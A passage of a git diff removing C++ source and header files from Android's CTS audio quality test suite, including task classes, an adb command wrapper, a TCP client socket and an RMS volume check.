- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKGENERIC_H
-#define CTSAUDIO_TASKGENERIC_H
-#include <string.h>
-#include <stdio.h>
-#include <list>
-#include <map>
-#include <set>
-#include <utils/String8.h>
-
-
-class TaskCase;
-
-class TaskGeneric {
-public:
-    // internal model for xml tags
-    enum TaskType {
-        ETaskInvalid        = 0,
-        ETaskBatch          = 1,
-        ETaskCase           = 2,
-        ETaskSetup          = 3,
-        ETaskAction         = 4,
-        ETaskSequential     = 5,
-        ETaskProcess        = 6,
-        ETaskInput          = 7,
-        ETaskOutput         = 8,
-        ETaskSound          = 9,
-        ETaskSave           = 10,
-        ETaskMessage        = 11,
-        ETaskDownload       = 12,
-        ETaskInvalidLast    = 13,
-        //no ETaskInclude include does not involve any action.
-    };
-
-    explicit TaskGeneric(TaskType type);
-
-    virtual ~TaskGeneric();
-
-    inline TaskType getType() {
-        return mType;
-    }
-
-    enum ExecutionResult {
-        EResultOK           = 0,
-        // continue in the current loop. will result in skipping all subsequent steps
-        EResultContinue     = 1,
-        // get out of the current loop
-        EResultBreakOneLoop = 2,
-        // error which cannot be continued. effect is the same as fail. stops everything.
-        EResultError        = 3,
-        // test failed. stops everything.
-        EResultFail         = 4,
-        // test passed.
-        EResultPass         = 5
-    };
-
-    /**
-     * default implementation for adding child action
-     * Ownership of the child is passed to this instance, and child will be destroyed in parent's
-     * destructor.
-     * @return false on error
-     */
-    virtual bool addChild(TaskGeneric* child);
-
-    virtual ExecutionResult run();
-
-    /// can be NULL if parent does not exist
-    TaskGeneric* getParent();
-    /// can be NULL if TestCase does not exist (unit testing?)
-    TaskCase* getTestCase();
-
-    void setParent(TaskGeneric* parent);
-
-    /**
-     * parse attribute from XML DOM. name/value pair will be passed for all attributes.
-     */
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-
-    bool forEachChild(bool (*runForEachChild)(TaskGeneric* child, void* data), void* data);
-
-protected:
-    /// used by child instance to register allowed attributes
-    /// keys array should end with NULL
-    void registerSupportedStringAttributes(const android::String8* keys[]);
-    bool addStringAttribute(const android::String8& key, const android::String8& value);
-    bool findStringAttribute(const android::String8& key, android::String8& value) const;
-    inline std::list<TaskGeneric*>& getChildren() {
-        return mChildren;
-    };
-
-private:
-    TaskType mType;
-    TaskGeneric* mParent;
-    std::list<TaskGeneric*> mChildren;
-
-    std::set<android::String8> mAllowedStringAttributes;
-    std::map<android::String8, android::String8> mStringAttributes;
-
-};
-
-
-#endif // CTSAUDIO_TASKGENERIC_H
diff --git a/suite/audio_quality/lib/include/task/TaskInput.h b/suite/audio_quality/lib/include/task/TaskInput.h
deleted file mode 100644
index ddb557f..0000000
--- a/suite/audio_quality/lib/include/task/TaskInput.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKINPUT_H
-#define CTSAUDIO_TASKINPUT_H
-
-#include <utils/StrongPointer.h>
-#include "TaskAsync.h"
-#include "audio/AudioHardware.h"
-#include "audio/Buffer.h"
-
-class TaskInput: public TaskAsync {
-public:
-    TaskInput();
-    virtual ~TaskInput();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-    virtual TaskGeneric::ExecutionResult start();
-    virtual TaskGeneric::ExecutionResult complete();
-private:
-    int mRecordingTimeInMs;
-    android::sp<AudioHardware> mHw;
-    android::sp<Buffer> mBuffer;
-};
-
-
-#endif // CTSAUDIO_TASKINPUT_H
diff --git a/suite/audio_quality/lib/include/task/TaskMessage.h b/suite/audio_quality/lib/include/task/TaskMessage.h
deleted file mode 100644
index 825bb7e..0000000
--- a/suite/audio_quality/lib/include/task/TaskMessage.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKMESSAGE_H
-#define CTSAUDIO_TASKMESSAGE_H
-
-#include "TaskGeneric.h"
-
-
-class TaskMessage: public TaskGeneric {
-public:
-    TaskMessage();
-    virtual ~TaskMessage();
-    virtual TaskGeneric::ExecutionResult run();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-};
-
-
-#endif // CTSAUDIO_TASKMESSAGE_H
diff --git a/suite/audio_quality/lib/include/task/TaskOutput.h b/suite/audio_quality/lib/include/task/TaskOutput.h
deleted file mode 100644
index 928aae2..0000000
--- a/suite/audio_quality/lib/include/task/TaskOutput.h
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKOUTPUT_H
-#define CTSAUDIO_TASKOUTPUT_H
-
-#include "TaskAsync.h"
-#include "audio/AudioHardware.h"
-
-class TaskOutput: public TaskAsync {
-public:
-    TaskOutput();
-    virtual ~TaskOutput();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-    virtual TaskGeneric::ExecutionResult start();
-    virtual TaskGeneric::ExecutionResult complete();
-
-private:
-    android::sp<AudioHardware> mHw;
-    bool mWaitForCompletion;
-};
-
-
-#endif // CTSAUDIO_TASKOUTPUT_H
diff --git a/suite/audio_quality/lib/include/task/TaskProcess.h b/suite/audio_quality/lib/include/task/TaskProcess.h
deleted file mode 100644
index 724ebd7..0000000
--- a/suite/audio_quality/lib/include/task/TaskProcess.h
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKPROCESS_H
-#define CTSAUDIO_TASKPROCESS_H
-
-#include <memory>
-#include <vector>
-
-#include <utils/StrongPointer.h>
-
-#include "audio/Buffer.h"
-#include "TaskGeneric.h"
-#include "TaskCase.h"
-#include "BuiltinProcessing.h"
-#include "SignalProcessingInterface.h"
-
-class TaskProcess: public TaskGeneric {
-public:
-    TaskProcess();
-    virtual ~TaskProcess();
-    virtual TaskGeneric::ExecutionResult run();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-private:
-    TaskGeneric::ExecutionResult doRun(bool builtin);
-
-    class Param;
-    bool parseParams(std::vector<Param>& list, const char* str, bool isInput);
-    //typedef necessary to prevent compiler's confusion
-    typedef void* void_ptr;
-    typedef std::unique_ptr<TaskCase::Value> UniqueValue;
-    typedef std::unique_ptr<android::sp<Buffer> > UniqueBuffer;
-    /// construct Buffers and Values for calling builtin functions.
-    /// all constructed stuffs automatically deleted by the passed std::unique_ptrs.
-    bool prepareParams(std::vector<TaskProcess::Param>& list,
-            const bool* inputTypes,
-            std::unique_ptr<void_ptr[]>& ptrs,
-            std::unique_ptr<UniqueValue[]>& values,
-            std::unique_ptr<UniqueBuffer[]>& buffers,
-            bool isInput);
-
-private:
-    enum ProcessType {
-        EBuiltin,
-        EScript
-    };
-    ProcessType mType;
-    android::String8 mName; // buit-in function or script name
-
-    enum ParamType {
-        EId,
-        EVal,
-        EConst
-    };
-    class Param {
-    public:
-        Param(ParamType type, android::String8& string);
-        explicit Param(TaskCase::Value& val);
-        ParamType getType();
-        android::String8& getParamString();
-        TaskCase::Value& getValue();
-        TaskCase::Value* getValuePtr();
-        inline bool isIdType() {
-            return (mType == EId);
-        }
-    private:
-        ParamType mType;
-        android::String8 mString;
-        TaskCase::Value mValue;
-    };
-
-    std::vector<Param> mInput;
-    std::vector<Param> mOutput;
-    BuiltinProcessing mBuiltin;
-    std::unique_ptr<SignalProcessingInterface> mSp;
-};
-
-
-#endif // CTSAUDIO_TASKPROCESS_H
diff --git a/suite/audio_quality/lib/include/task/TaskSave.h b/suite/audio_quality/lib/include/task/TaskSave.h
deleted file mode 100644
index bffc0b5..0000000
--- a/suite/audio_quality/lib/include/task/TaskSave.h
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKSAVE_H
-#define CTSAUDIO_TASKSAVE_H
-
-#include "TaskGeneric.h"
-
-
-class TaskSave: public TaskGeneric {
-public:
-    TaskSave();
-    virtual ~TaskSave();
-    virtual TaskGeneric::ExecutionResult run();
-
-private:
-    bool handleFile();
-    bool handleReport();
-};
-
-
-#endif // CTSAUDIO_TASKSAVE_H
diff --git a/suite/audio_quality/lib/include/task/TaskSequential.h b/suite/audio_quality/lib/include/task/TaskSequential.h
deleted file mode 100644
index b5c3ecc..0000000
--- a/suite/audio_quality/lib/include/task/TaskSequential.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKSEQUENTIAL_H
-#define CTSAUDIO_TASKSEQUENTIAL_H
-
-#include <utils/String8.h>
-#include <list>
-#include "TaskGeneric.h"
-
-class TaskAsync;
-
-class TaskSequential: public TaskGeneric {
-public:
-    TaskSequential();
-    virtual ~TaskSequential();
-    virtual TaskGeneric::ExecutionResult run();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-    /**
-     * Queue async task for asynchronous execution (= call complete later)
-     * If the task is already queued, it will not be queued again ,but will just return true.
-     */
-    bool queueAsyncTask(TaskAsync* task);
-
-private:
-    /**
-     * Run all async tasks queued (= call complete) and dequeue them.
-     * Execution will be continued even for error, and the 1st error result will be returned.
-     */
-    TaskGeneric::ExecutionResult runAsyncTasksQueued();
-
-private:
-    int mRepeatCount;
-    android::String8 mIndexName;
-    int mRepeatIndex;
-    std::list<TaskAsync*> mAsyncTasks;
-};
-
-
-#endif // CTSAUDIO_TASKSEQUENTIAL_H
diff --git a/suite/audio_quality/lib/include/task/TaskSound.h b/suite/audio_quality/lib/include/task/TaskSound.h
deleted file mode 100644
index 0b5ceb5..0000000
--- a/suite/audio_quality/lib/include/task/TaskSound.h
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKSOUND_H
-#define CTSAUDIO_TASKSOUND_H
-#include <utils/String8.h>
-#include <utils/StrongPointer.h>
-#include "audio/Buffer.h"
-#include "TaskGeneric.h"
-
-
-class TaskSound: public TaskGeneric {
-public:
-    TaskSound();
-    virtual ~TaskSound();
-    virtual TaskGeneric::ExecutionResult run();
-    virtual bool parseAttribute(const android::String8& name, const android::String8& value);
-private:
-    android::sp<Buffer> mBuffer;
-    bool mPreload;
-};
-
-
-#endif // CTSAUDIO_TASKSOUND_H
diff --git a/suite/audio_quality/lib/src/Adb.cpp b/suite/audio_quality/lib/src/Adb.cpp
deleted file mode 100644
index fbfc974..0000000
--- a/suite/audio_quality/lib/src/Adb.cpp
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdlib.h>
-
-#include <StringUtil.h>
-#include "Adb.h"
-
-Adb::Adb(const android::String8& device)
-    : mDevice(device)
-{
-
-}
-
-Adb::~Adb()
-{
-
-}
-
-bool Adb::setPortForwarding(int hostPort, int devicePort)
-{
-    android::String8 command;
-    if (command.appendFormat("forward tcp:%d tcp:%d", hostPort, devicePort) != 0) {
-        return false;
-    }
-    if (executeCommand(command) != 0) {
-        return false;
-    }
-    return true;
-}
-
-bool Adb::launchClient(const android::String8& clientBinary, const android::String8& component)
-{
-    android::String8 command;
-    if (command.appendFormat("install -r %s", clientBinary.string()) != 0) {
-        return false;
-    }
-    if (executeCommand(command) != 0) {
-        return false;
-    }
-    command.clear();
-    if (command.appendFormat("shell am start -W -n %s", component.string()) != 0) {
-        return false;
-    }
-    if (executeCommand(command) != 0) {
-        return false;
-    }
-    return true;
-}
-
-/** @param command ADB command except adb -s XYZW */
-int Adb::executeCommand(const android::String8& command)
-{
-    android::String8 adbCommand;
-    if (mDevice.empty()) {
-        if (adbCommand.appendFormat("adb %s", command.string()) != 0) {
-            return -1;
-        }
-    } else {
-        if (adbCommand.appendFormat("adb -s %s %s", mDevice.string(),
-                command.string()) != 0) {
-            return -1;
-        }
-    }
-    return system(adbCommand.string());
-}
-
diff --git a/suite/audio_quality/lib/src/Adb.h b/suite/audio_quality/lib/src/Adb.h
deleted file mode 100644
index c85b9f7..0000000
--- a/suite/audio_quality/lib/src/Adb.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_ADB_H
-#define CTSAUDIO_ADB_H
-
-#include <utils/String8.h>
-
-/** ADB interface to set port forwarding and launch client app */
-class Adb {
-public:
-    /// device: device number typically passed in adb's -s argument.
-    /// if device string is empty, adb command will be called without -s option.
-    explicit Adb(const android::String8& device);
-    ~Adb();
-    bool setPortForwarding(int hostPort, int devicePort);
-    /// install given clientBinary to DUT and launch given component.
-    bool launchClient(const android::String8& clientBinary, const android::String8& component);
-private:
-    int executeCommand(const android::String8& command);
-
-private:
-    android::String8 mDevice;
-};
-
-#endif // CTSAUDIO_ADB_H
-
-
-
-
diff --git a/suite/audio_quality/lib/src/BuiltinProcessing.cpp b/suite/audio_quality/lib/src/BuiltinProcessing.cpp
deleted file mode 100644
index 697ce8e..0000000
--- a/suite/audio_quality/lib/src/BuiltinProcessing.cpp
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdint.h>
-#include <math.h>
-#include <utils/StrongPointer.h>
-#include "audio/Buffer.h"
-#include "BuiltinProcessing.h"
-#include "Log.h"
-#include "task/TaskCase.h"
-
-// Buffer, Value, Value
-static const bool RMS_MVA_INPUT_TYPE[] = {true, false, false};
-// Value
-static const bool RMS_MVA_OUTPUT_TYPE[] = {false};
-
-BuiltinProcessing::BuiltinInfo BuiltinProcessing::BUINTIN_FN_TABLE[N_BUILTIN_FNS] =
-{
-    {
-        "rms_mva", &BuiltinProcessing::rms_mva,
-        sizeof(RMS_MVA_INPUT_TYPE)/sizeof(bool), RMS_MVA_INPUT_TYPE,
-        sizeof(RMS_MVA_OUTPUT_TYPE)/sizeof(bool), RMS_MVA_OUTPUT_TYPE,
-    }
-};
-
-BuiltinProcessing::BuiltinProcessing()
-    : mRMSPasses(0)
-{
-
-}
-
-// pass for 5 consecutive passes
-TaskGeneric::ExecutionResult BuiltinProcessing::rms_mva(void** inputs, void** outputs)
-{
-    LOGD("BuiltinProcessing::rms_mva in %x %x %x out %x",
-            inputs[0], inputs[1], inputs[2], outputs[0]);
-    android::sp<Buffer>& data(*reinterpret_cast<android::sp<Buffer>*>(inputs[0]));
-
-    int64_t passMin = (reinterpret_cast<TaskCase::Value*>(inputs[1]))->getInt64();
-    int64_t passMax = (reinterpret_cast<TaskCase::Value*>(inputs[2]))->getInt64();
-
-    int64_t rms = 0;
-    size_t samples = data->getSize()/2;
-    int16_t* rawData = reinterpret_cast<int16_t*>(data->getData());
-    double energy = 0.0f;
-    for (size_t i = 0; i < samples; i++) {
-        energy += (rawData[i] * rawData[i]);
-    }
-    rms = (int64_t)sqrt(energy/samples);
-
-    TaskGeneric::ExecutionResult result = TaskGeneric::EResultOK;
-    if (rms < passMin) {
-        MSG("Volume %lld low compared to min %lld max %lld", rms, passMin, passMax);
-        mRMSPasses = 0;
-    } else if (rms <= passMax) {
-        MSG("Volume %lld OK compared to min %lld max %lld", rms, passMin, passMax);
-        mRMSPasses++;
-        if (mRMSPasses >= RMS_CONTINUOUS_PASSES) {
-            //mRMSPasses = 0;
-            result = TaskGeneric::EResultPass;
-        }
-    } else {
-        LOGW("Volume %lld high compared to min %lld max %lld", rms, passMin, passMax);
-        mRMSPasses = 0;
-    }
-    TaskCase::Value* rmsVal = reinterpret_cast<TaskCase::Value*>(outputs[0]);
-    rmsVal->setInt64(rms);
-
-    return result;
-}
-
-
diff --git a/suite/audio_quality/lib/src/ClientImpl.cpp b/suite/audio_quality/lib/src/ClientImpl.cpp
deleted file mode 100644
index 615cd2a..0000000
--- a/suite/audio_quality/lib/src/ClientImpl.cpp
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-
-#include "Adb.h"
-#include "ClientImpl.h"
-
-
-ClientImpl::ClientImpl()
-    : mAudio(new RemoteAudio(mSocket))
-{
-
-}
-
-ClientImpl::~ClientImpl()
-{
-    mAudio->release();
-}
-
-bool ClientImpl::init(const android::String8& param)
-{
-    Adb adb(param);
-    if (!adb.setPortForwarding(HOST_TCP_PORT, CLIENT_TCP_PORT)) {
-        LOGE("adb port forwarding failed");
-        return false;
-    }
-    android::String8 clientBinary("client/CtsAudioClient.apk");
-    android::String8 componentName("com.android.cts.audiotest/.CtsAudioClientActivity");
-    if (!adb.launchClient(clientBinary, componentName)) {
-        LOGE("cannot install or launch client");
-        return false;
-    }
-    // now socket connection
-    return mAudio->init(HOST_TCP_PORT);
-}
-
-
diff --git a/suite/audio_quality/lib/src/ClientImpl.h b/suite/audio_quality/lib/src/ClientImpl.h
deleted file mode 100644
index 28a7bcc..0000000
--- a/suite/audio_quality/lib/src/ClientImpl.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_CLIENTIMPL_H
-#define CTSAUDIO_CLIENTIMPL_H
-
-#include <utils/StrongPointer.h>
-#include "ClientInterface.h"
-#include "ClientSocket.h"
-#include "audio/RemoteAudio.h"
-
-class ClientImpl: public ClientInterface {
-public:
-    static const int HOST_TCP_PORT = 15001;
-    static const int CLIENT_TCP_PORT = 15001;
-    ClientImpl();
-    virtual ~ClientImpl();
-    virtual bool init(const android::String8& param);
-
-    virtual ClientSocket& getSocket() {
-        return mSocket;
-    };
-
-    virtual android::sp<RemoteAudio>& getAudio() {
-        return mAudio;
-    };
-
-private:
-    ClientSocket mSocket;
-    android::sp<RemoteAudio> mAudio;
-
-};
-
-
-#endif // CTSAUDIO_CLIENTIMPL_H
diff --git a/suite/audio_quality/lib/src/ClientSocket.cpp b/suite/audio_quality/lib/src/ClientSocket.cpp
deleted file mode 100644
index 1fa9090..0000000
--- a/suite/audio_quality/lib/src/ClientSocket.cpp
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <arpa/inet.h>
-#include <errno.h>
-#include <strings.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <unistd.h>
-#include <fcntl.h>
-
-#include "Log.h"
-
-#include "ClientSocket.h"
-
-ClientSocket::ClientSocket()
-    : mSocket(-1),
-      mTimeoutEnabled(false)
-{
-
-}
-
-ClientSocket::~ClientSocket()
-{
-    release();
-}
-
-bool ClientSocket::init(const char* hostIp, int port, bool enableTimeout)
-{
-    LOGD("ClientSocket::init");
-    mSocket = socket(AF_INET, SOCK_STREAM, 0);
-    if (mSocket < 0) {
-        LOGE("cannot open socket %d", errno);
-        return false;
-    }
-    int reuse = 1;
-    if (setsockopt(mSocket, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) == -1) {
-        LOGE("setsockopt error %d", errno);
-        release();
-        return false;
-    }
-
-    struct sockaddr_in serverAddr;
-    bzero((char*)&serverAddr, sizeof(serverAddr));
-    serverAddr.sin_family = AF_INET;
-    serverAddr.sin_port = htons(port);
-    if (inet_pton(AF_INET, hostIp, &serverAddr.sin_addr) != 1) {
-        release();
-        LOGE("inet_pton failed %d", errno);
-        return false;
-    }
-    if (connect(mSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) < 0) {
-        release();
-        LOGE("cannot connect socket %d", errno);
-        return false;
-    }
-    mTimeoutEnabled = enableTimeout;
-    return true;
-}
-
-const int ZERO_RW_SLEEP_TIME_US = 10;
-
-// make non-blocking mode only during read. This allows supporting time-out for read
-bool ClientSocket::readData(char* data, int len, int timeoutInMs)
-{
-    bool useTimeout = (mTimeoutEnabled && (timeoutInMs > 0));
-    int flOriginal = 0;
-    int timeInSec = 0;
-    int timeInUs = 0;
-    if (useTimeout) {
-        flOriginal = fcntl(mSocket, F_GETFL,0);
-        if (flOriginal == -1) {
-            LOGE("fcntl error %d", errno);
-            return false;
-        }
-        if (fcntl(mSocket, F_SETFL, flOriginal | O_NONBLOCK) == -1) {
-            LOGE("fcntl error %d", errno);
-            return false;
-        }
-        timeInSec = timeoutInMs / 1000;
-        timeInUs = (timeoutInMs % 1000) * 1000;
-    }
-    bool result = true;
-    int read;
-    int toRead = len;
-    while (toRead > 0) {
-        if (useTimeout) {
-            fd_set rfds;
-            struct timeval tv;
-            tv.tv_sec = timeInSec;
-            tv.tv_usec = timeInUs;
-            FD_ZERO(&rfds);
-            FD_SET(mSocket, &rfds);
-            if (select(mSocket + 1, &rfds, NULL, NULL, &tv) == -1) {
-                LOGE("select failed");
-                result = false;
-                break;
-            }
-            if (!FD_ISSET(mSocket, &rfds)) {
-                LOGE("socket read timeout");
-                result = false;
-                break;
-            }
-        }
-        read = recv(mSocket, (void*)data, toRead, 0);
-        if (read > 0) {
-            toRead -= read;
-            data += read;
-        } else if (read == 0) {
-            // in blocking mode, zero read mean's peer closed.
-            // in non-blocking mode, select said that there is data. so it should not happen
-            LOGE("zero read, peer closed or what?, nonblocking: %d", useTimeout);
-            result = false;
-            break;
-        } else {
-            LOGE("recv returned %d", read);
-            result = false;
-            break;
-        }
-    }
-    if (useTimeout) {
-        fcntl(mSocket, F_SETFL, flOriginal); // now blocking again
-    }
-    return result;
-}
-
-bool ClientSocket::sendData(const char* data, int len)
-{
-    int sent;
-    int toSend = len;
-    while (toSend > 0) {
-        sent = send(mSocket, (void*)data, (size_t)toSend, 0);
-        if (sent > 0) {
-            toSend -= sent;
-            data += sent;
-        } else if (sent == 0) { // no more buffer?
-            usleep(ZERO_RW_SLEEP_TIME_US); // just wait
-        } else {
-            LOGE("send returned %d, error %d", sent, errno);
-            return false;
-        }
-    }
-    return true;
-}
-
-void ClientSocket::release()
-{
-    if (mSocket != -1) {
-        close(mSocket);
-        mSocket = -1;
-    }
-}
diff --git a/suite/audio_quality/lib/src/FileUtil.cpp b/suite/audio_quality/lib/src/FileUtil.cpp
deleted file mode 100644
index 3b87016..0000000
--- a/suite/audio_quality/lib/src/FileUtil.cpp
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <time.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <errno.h>
-
-#include "Log.h"
-#include "Settings.h"
-#include "StringUtil.h"
-#include "FileUtil.h"
-
-
-// This class is used by Log. So we cannot use LOG? macros here.
-#define _LOGD_(x...) do { fprintf(stderr, x); fprintf(stderr, "\n"); } while(0)
-
-// reported generated under reports/YYYY_MM_DD_HH_MM_SS dir
-const char reportTopDir[] = "reports";
-android::String8 FileUtil::mDirPath;
-
-bool FileUtil::prepare(android::String8& dirPath)
-{
-    if (mDirPath.length() != 0) {
-        dirPath = mDirPath;
-        _LOGD_("mDirPath %s", mDirPath.string());
-        return true;
-    }
-
-    time_t timeNow = time(NULL);
-    if (timeNow == ((time_t)-1)) {
-        _LOGD_("time error");
-       return false;
-    }
-    // tm is allocated in static buffer, and should not be freed.
-    struct tm* tm = localtime(&timeNow);
-    if (tm == NULL) {
-        _LOGD_("localtime error");
-        return false;
-    }
-    int result = mkdir(reportTopDir, S_IRWXU);
-    if ((result == -1) && (errno != EEXIST)) {
-        _LOGD_("mkdir of topdir failed, error %d", errno);
-        return false;
-    }
-    android::String8 reportTime;
-    if (reportTime.appendFormat("%04d_%02d_%02d_%02d_%02d_%02d", tm->tm_year + 1900,
-                tm->tm_mon + 1, tm->tm_mday, tm->tm_hour, tm->tm_min, tm->tm_sec) != 0) {
-            return false;
